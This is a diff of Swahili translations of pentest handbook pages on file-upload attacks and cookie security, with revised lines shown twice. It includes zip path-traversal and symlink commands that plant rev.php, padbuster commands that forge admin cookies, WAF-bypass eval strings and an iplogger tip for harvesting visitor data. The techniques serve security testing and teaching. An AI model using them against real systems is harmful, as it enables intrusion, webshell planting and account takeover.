- [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
- Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
- Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembeleaji**.
- [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo ya kawaida kufuatia maelekezo yaliyotolewa.
- PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambayo itatekeleza JS isiyo na mipaka kufuatia maelekezo yaliyotolewa.
- Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
- Angalia ikiwa kuna **kikomo cha saizi** katika kupakia faili
Hapa kuna orodha ya mambo 10 unayoweza kufanikisha kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Hapa kuna orodha ya vitu 10 bora ambavyo unaweza kufikia kwa kupakia (kutoka [hapa](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -211,7 +211,7 @@ Ikiwa unaweza kupakia ZIP ambayo itachukuliwa ndani ya seva, unaweza kufanya mam
#### Symlink
Pakia kiungo kinachojumuisha viungo laini kwa faili nyingine, kisha, ukifika kwenye faili zilizochukuliwa utapata faili zilizounganishwa:
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizochukuliwa utapata faili zilizounganishwa:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -219,7 +219,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakiaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakiaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
Uundaji usiotarajiwa wa faili katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji wa programu inayolengwa.
Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo kinaweza kutumika kama inavyoonyeshwa:
```python
@ -230,7 +230,7 @@ python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Zaidi ya hayo, **njia ya symlink na evilarc** ni chaguo. Ikiwa lengo ni kulenga faili kama `/flag.txt`, symlink kwa faili hiyo inapaswa kuundwa katika mfumo wako. Hii inahakikisha kwamba evilarc haitakutana na makosa wakati wa operesheni yake.
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip la uhalifu:
Hapa chini kuna mfano wa msimbo wa Python unaotumika kuunda faili la zip lenye uharibifu:
```python
#!/usr/bin/python
import zipfile
@ -248,7 +248,7 @@ zip.close()
create_zip()
```
**Kutatiza matumizi ya usindikaji wa faili kwa ajili ya kueneza faili**
**Kutitumia usindikaji kwa ajili ya kueneza faili**
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
@ -279,7 +279,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka kwa [exploit](https://www.exploit-db.com/exploits/39767))
Pakia maudhui haya yenye kiendelezi cha picha ili kutumia udhaifu **(ImageMagick , 7.0.1-1)** (fanya kutoka [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -290,7 +290,7 @@ pop graphic-context
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yanayowezekana, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
@ -298,9 +298,9 @@ Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, zikifanya kazi kama chameleons ambazo zinaweza kuwepo kwa halali katika muundo wa faili mbalimbali kwa wakati mmoja. Mfano wa kuvutia ni [GIFAR](https://en.wikipedia.org/wiki/Gifar), mchanganyiko unaofanya kazi kama GIF na archive ya RAR. Faili kama hizi hazijazuiliwa kwa mchanganyiko huu; mchanganyiko kama GIF na JS au PPT na JS pia yanaweza.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina mbalimbali za faili, inaweza kupita kwa siri vizuizi hivi.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na muundo wa faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, ingawa polyglot inaweza kuwa na muundo wa faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo ni mkali kuhusu upanuzi unaoruhusiwa, muundo wa pande mbili wa polyglot huenda usitoshe kuhakikisha kupakia kwake.
Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

View File

@ -8,7 +8,7 @@ Cookies zina sifa kadhaa ambazo zinadhibiti tabia yao katika kivinjari cha mtumi
### Expires and Max-Age
Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie ifutwe. **Chagua `Max-age` kwani inawakilisha mazoea ya kisasa zaidi.**
Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie ifutwe. **Chagua `Max-age` kwani inaakisi mazoea ya kisasa zaidi.**
### Domain
@ -16,13 +16,13 @@ Wenyeji wa kupokea cookie wanaelezwa na sifa ya `Domain`. Kwa kawaida, hii imewe
### Path
Njia maalum ya URL ambayo lazima iwepo katika URL iliyotolewa ili kichwa cha `Cookie` kitumwe inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia herufi `/` kama separator ya directory, ikiruhusu mechi katika subdirectories pia.
Njia maalum ya URL ambayo lazima iwepo katika URL iliyohitajika ili kichwa cha `Cookie` kitumwe inaonyeshwa na sifa ya `Path`. Sifa hii inachukulia herufi `/` kama separator ya directory, ikiruhusu mechi katika subdirectories pia.
### Ordering Rules
Wakati cookies mbili zina jina sawa, ile iliyochaguliwa kutumwa inategemea:
- Cookie inayolingana na njia ndefu zaidi katika URL iliyotolewa.
- Cookie inayolingana na njia ndefu zaidi katika URL iliyohitajika.
- Cookie iliyowekwa hivi karibuni ikiwa njia hizo ni sawa.
### SameSite
@ -32,7 +32,7 @@ Wakati cookies mbili zina jina sawa, ile iliyochaguliwa kutumwa inategemea:
- **Lax**: Inaruhusu cookie kutumwa na maombi ya GET yanayoanzishwa na tovuti za upande wa tatu.
- **None**: Inaruhusu cookie kutumwa kutoka kwa eneo lolote la upande wa tatu.
Kumbuka, wakati wa kusanidi cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika hali tofauti.
Kumbuka, wakati wa kuunda cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika hali tofauti.
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
@ -44,7 +44,7 @@ Kumbuka, wakati wa kusanidi cookies, kuelewa sifa hizi kunaweza kusaidia kuhakik
| AJAX | $.get("...") | NotSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
Jedwali kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na kidogo kubadilishwa.\
Cookie yenye sifa ya _**SameSite**_ itapunguza **shambulio la CSRF** ambapo kikao kilichoingia kinahitajika.
**\*Kumbuka kwamba kuanzia Chrome80 (feb/2019) tabia ya kawaida ya cookie bila sifa ya cookie samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
@ -58,10 +58,10 @@ Hii inazuia **mteja** kufikia cookie (Kupitia **Javascript** kwa mfano: `documen
#### **Bypasses**
- Ikiwa ukurasa unatumia **cookies kama jibu** la maombi (kwa mfano katika ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba cookies** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
- Ikiwa ukurasa unatumia **cookies kama jibu** la maombi (kwa mfano katika ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba cookies** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- Hii inaweza kupitishwa kwa maombi ya **TRACE** **HTTP** kwani jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) litareflect cookies zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
- Mbinu hii inakwepa na **vivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE** kutoka JS. Hata hivyo, baadhi ya njia za kupita zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
- Njia nyingine ni kutumia udhaifu wa zero/day wa vivinjari.
- Njia nyingine ni matumizi ya udhaifu wa zero/day wa vivinjari.
- Inawezekana **kufuta cookies za HttpOnly** kwa kufanya shambulio la Cookie Jar overflow:
{{#ref}}
@ -82,7 +82,7 @@ Kwa cookies zilizo na awali `__Host-`, masharti kadhaa yanapaswa kutimizwa:
- Lazima ziwe na bendera ya `secure`.
- Lazima zitoke kwenye ukurasa uliohakikishwa na HTTPS.
- Zinakatazwa kuainisha domain, kuzuia usafirishaji wao kwa subdomains.
- Zinakatazwa kutaja domain, kuzuia usafirishaji wao kwa subdomains.
- Njia ya cookies hizi lazima iwekwe kwa `/`.
Ni muhimu kutambua kwamba cookies zilizo na awali `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki kinasaidia katika kutenga cookies za programu. Hivyo, kutumia awali ya `__Host-` kwa cookies zote za programu inaweza kuzingatiwa kama mazoea mazuri ya kuboresha usalama na kutengwa.
@ -93,7 +93,7 @@ Hivyo, moja ya ulinzi wa cookies zilizo na awali `__Host-` ni kuzuia ziweze kufu
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za chini** , kuruhusu kufuta cookies za `__HOST-`:
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za underscore**, kuruhusu kufuta `__HOST-` cookies:
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
@ -103,7 +103,7 @@ Ikiwa cookie maalum ina data nyeti angalia hiyo (hasa ikiwa unacheza CTF), kwani
### Decoding and Manipulating Cookies
Data nyeti iliyowekwa katika cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie.
Data nyeti iliyowekwa ndani ya cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie.
### Session Hijacking
@ -111,7 +111,7 @@ Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhi
### Session Fixation
Katika hali hii, mshambuliaji anamdanganya muathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, mwenye cookie ya awali, anaweza kujifanya muathirika. Mbinu hii inategemea muathirika kuingia na cookie iliyotolewa na mshambuliaji.
Katika hali hii, mshambuliaji anamdanganya mwathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, akiwa na cookie ya awali, anaweza kujifanya mwathirika. Mbinu hii inategemea mwathirika kuingia na cookie iliyotolewa na mshambuliaji.
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
@ -121,7 +121,7 @@ cookie-tossing.md
### Session Donation
Hapa, mshambuliaji anamshawishi muathirika kutumia cookie ya kikao ya mshambuliaji. Muathirika, akiamini kwamba ameingia kwenye akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji.
Hapa, mshambuliaji anamshawishi mwathirika kutumia cookie ya kikao ya mshambuliaji. Mwathirika, akiamini kwamba amejiunga na akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji.
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
@ -133,7 +133,7 @@ cookie-tossing.md
Bonyeza kwenye kiungo kilichopita ili kufikia ukurasa unaoelezea udhaifu unaowezekana katika JWT.
JSON Web Tokens (JWT) zinazotumiwa katika cookies pia zinaweza kuonyesha udhaifu. Kwa maelezo ya kina kuhusu udhaifu unaowezekana na jinsi ya kuyatumia, inashauriwa kufikia hati iliyo kwenye udukuzi wa JWT.
JSON Web Tokens (JWT) zinazotumiwa katika cookies pia zinaweza kuonyesha udhaifu. Kwa maelezo ya kina kuhusu udhaifu unaowezekana na jinsi ya kuyatumia, inashauriwa kufikia hati iliyo kwenye kuhamasisha JWT.
### Cross-Site Request Forgery (CSRF)
@ -141,7 +141,7 @@ Shambulio hili linamfanya mtumiaji aliyeingia kutekeleza vitendo visivyotakikana
### Empty Cookies
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuundwa kwa cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuunda cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
@ -157,17 +157,17 @@ setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
Hii inasababisha kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila seva ya wavuti kama cookie iliyo na jina `a` na thamani `b`.
#### Chrome Bug: Tatizo la Kiwango cha Unicode Surrogate
#### Chrome Bug: Tatizo la Unicode Surrogate Codepoint
Katika Chrome, ikiwa kiwango cha Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha string tupu baadaye:
Katika Chrome, ikiwa codepoint ya Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha string tupu baadaye:
```js
document.cookie = "\ud800=meep"
```
Hii inasababisha `document.cookie` kutoa string tupu, ikionyesha uharibifu wa kudumu.
#### Uhamasishaji wa Keki kutokana na Masuala ya Ufafanuzi
#### Uhamasishaji wa Keki kutokana na Masuala ya Uchambuzi
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia nyuzi za keki vibaya kutokana na msaada wa zamani wa RFC2965. Wanasoma thamani ya keki iliyo na nukuu mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kwa kawaida zinapaswa kutenganisha jozi za funguo-thamani:
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Seva kadhaa za wavuti, ikiwa ni pamoja na zile za Java (Jetty, TomCat, Undertow) na Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), zinashughulikia vibaya nyuzi za keki kutokana na msaada wa zamani wa RFC2965. Wanasoma thamani ya keki iliyo na nukta mbili kama thamani moja hata kama inajumuisha alama za semikolon, ambazo kwa kawaida zinapaswa kutenganisha jozi za funguo-thamani:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
@ -176,25 +176,25 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
(Tafadhali angalia maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Uparsing usio sahihi wa cookies na seva, hasa Undertow, Zope, na zile zinazotumia `http.cookie.SimpleCookie` na `http.cookie.BaseCookie` za Python, unatoa fursa za mashambulizi ya kuingiza cookies. Seva hizi zinashindwa kuweka mipaka sahihi ya kuanza kwa cookies mpya, ikiruhusu washambuliaji kuiga cookies:
- Undertow inatarajia cookie mpya mara moja baada ya thamani iliyonukuliwa bila alama ya semikolon.
- Zope inatafuta koma ili kuanza kuparsing cookie inayofuata.
- Madarasa ya cookie ya Python yanaanza kuparsing kwenye herufi ya nafasi.
- Zope inatafuta koma ili kuanza uparsing wa cookie inayofuata.
- Madarasa ya cookie ya Python yanaanza uparsing kwenye herufi ya nafasi.
Ukatili huu ni hatari hasa katika programu za wavuti zinazotegemea ulinzi wa CSRF wa msingi wa cookies, kwani inaruhusu washambuliaji kuingiza cookies za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookie yanayojirudia, ambapo tukio la mwisho linazidi yale ya awali. Pia linaibua wasiwasi kwa `__Secure-` na `__Host-` cookies katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati cookies zinapopita kwa seva za nyuma zinazoweza kudanganywa.
Ukatili huu ni hatari hasa katika programu za wavuti zinazotegemea ulinzi wa CSRF wa msingi wa cookies, kwani unaruhusu washambuliaji kuingiza cookies za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na jinsi Python inavyoshughulikia majina ya cookie yanayojirudia, ambapo tukio la mwisho linazidi yale ya awali. Pia linaibua wasiwasi kwa cookies za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati cookies zinapopita kwa seva za nyuma zinazoweza kudanganywa.
### Cookies $version na WAF bypasses
### Cookies $version na kupita kwa WAF
Kulingana na [**hiki blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), inaweza kuwa inawezekana kutumia sifa ya cookie **`$Version=1`** ili kufanya backend itumie mantiki ya zamani kuparsing cookie kutokana na **RFC2109**. Zaidi ya hayo, thamani nyingine kama **`$Domain`** na **`$Path`** zinaweza kutumika kubadilisha tabia ya backend na cookie.
Kulingana na [**hiki blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), inaweza kuwa inawezekana kutumia sifa ya cookie **`$Version=1`** ili kufanya backend itumie mantiki ya zamani ya kuparsing cookie kutokana na **RFC2109**. Zaidi ya hayo, thamani nyingine kama **`$Domain`** na **`$Path`** zinaweza kutumika kubadilisha tabia ya backend na cookie.
#### Uchambuzi wa kupita thamani na uandishi wa mfuatano wa nukuu
Uparsing huu unaonyesha kuondoa uandishi wa thamani zilizofichwa ndani ya cookies, hivyo "\a" inakuwa "a". Hii inaweza kuwa na manufaa kupita WAFS kama:
Uparsing huu unaonyesha kuondoa thamani zilizofichwa ndani ya cookies, hivyo "\a" inakuwa "a". Hii inaweza kuwa na manufaa kupita WAFS kama:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Kupita orodha za vizuizi vya majina ya cookie
Katika RFC2109 inabainishwa kuwa **koma inaweza kutumika kama mpasuo kati ya thamani za cookie**. Na pia inawezekana kuongeza **nafasi na tabo kabla na baada ya alama ya usawa**. Hivyo cookie kama `$Version=1; foo=bar, abc = qux` haisababishi cookie `"foo":"bar, admin = qux"` bali cookies `foo":"bar"` na `"admin":"qux"`. Angalia jinsi cookies 2 zinavyoundwa na jinsi admin aliondolewa nafasi kabla na baada ya alama ya usawa.
Katika RFC2109 inabainishwa kuwa **koma inaweza kutumika kama mpasuo kati ya thamani za cookie**. Na pia inawezekana kuongeza **nafasi na tabo kabla na baada ya alama ya usawa**. Hivyo basi cookie kama `$Version=1; foo=bar, abc = qux` haisababishi cookie `"foo":"bar, admin = qux"` bali cookies `foo":"bar"` na `"admin":"qux"`. Angalia jinsi cookies 2 zinavyoundwa na jinsi admin alivyondolewa nafasi kabla na baada ya alama ya usawa.
#### Uchambuzi wa kupita thamani na kugawanya cookie
@ -205,7 +205,7 @@ Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
Ambayo inaweza kuruhusu kupita WAF kama katika mfano huu:
Ambayo yanaweza kuruhusu kupita WAF kama katika mfano huu:
```
Cookie: name=eval('test//
Cookie: comment')
@ -220,16 +220,16 @@ Resulting cookie: name=eval('test//, comment') => allowed
- Toka na jaribu kutumia keki ile ile.
- Jaribu kuingia na vifaa 2 (au vivinjari) kwenye akaunti ile ile ukitumia keki ile ile.
- Angalia kama keki ina taarifa yoyote ndani yake na jaribu kuibadilisha.
- Jaribu kuunda akaunti kadhaa zikiwa na jina la mtumiaji karibu sawa na angalia kama unaweza kuona kufanana.
- Jaribu kuunda akaunti kadhaa zikiwa na jina la mtumiaji karibu sawa na uone kama unaweza kuona kufanana.
- Angalia chaguo la "**nikumbuke**" ikiwa ipo ili kuona jinsi inavyofanya kazi. Ikiwa ipo na inaweza kuwa na udhaifu, daima tumia keki ya **nikumbuke** bila keki nyingine yoyote.
- Angalia kama keki ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
#### **Mashambulizi ya Keki ya Juu**
Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii ina maana kwamba keki inahusiana na uwanja fulani wa akaunti yako (labda jina la mtumiaji). Kisha unaweza:
Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii huenda ikamaanisha kwamba keki inahusiana na uwanja fulani wa akaunti yako (huenda jina la mtumiaji). Kisha unaweza:
- Jaribu kuunda akaunti nyingi za **akaunti** zikiwa na majina ya mtumiaji yanayofanana sana na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
- Jaribu **kuvunjavunja jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitishaji kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjavunja** kila **kipande** cha keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
- Jaribu kuunda akaunti nyingi za **jina la mtumiaji** zikiwa na ufanano mkubwa na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
- Jaribu **kuvunjavunja jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitisho kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjavunja** kila **kipande** cha keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
- Jaribu **Padding** **Oracle** (unaweza kufichua maudhui ya keki). Tumia **padbuster**.
**Padding Oracle - Mifano ya Padbuster**
@ -246,7 +246,7 @@ Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya mako
Kisha itaanza kufungua siri cookie (inaweza kuchukua dakika kadhaa)
Ikiwa shambulio limefanikiwa, basi unaweza kujaribu kuficha mfuatano wa uchaguzi wako. Kwa mfano, ikiwa ungependa **kuficha** **user=administrator**
Ikiwa shambulio limefanikiwa, basi unaweza kujaribu kuficha mfuatano wa chaguo lako. Kwa mfano, ikiwa ungependa **kuficha** **user=administrator**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
@ -271,9 +271,9 @@ Wakati unapoingia, cookie unayopokea inapaswa kuwa kila wakati sawa.
Unda watumiaji 2 wenye takwimu karibu sawa (jina la mtumiaji, nenosiri, barua pepe, nk.) na jaribu kugundua muundo wowote ndani ya cookie iliyotolewa.
Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji linapaswa kusimbwa).
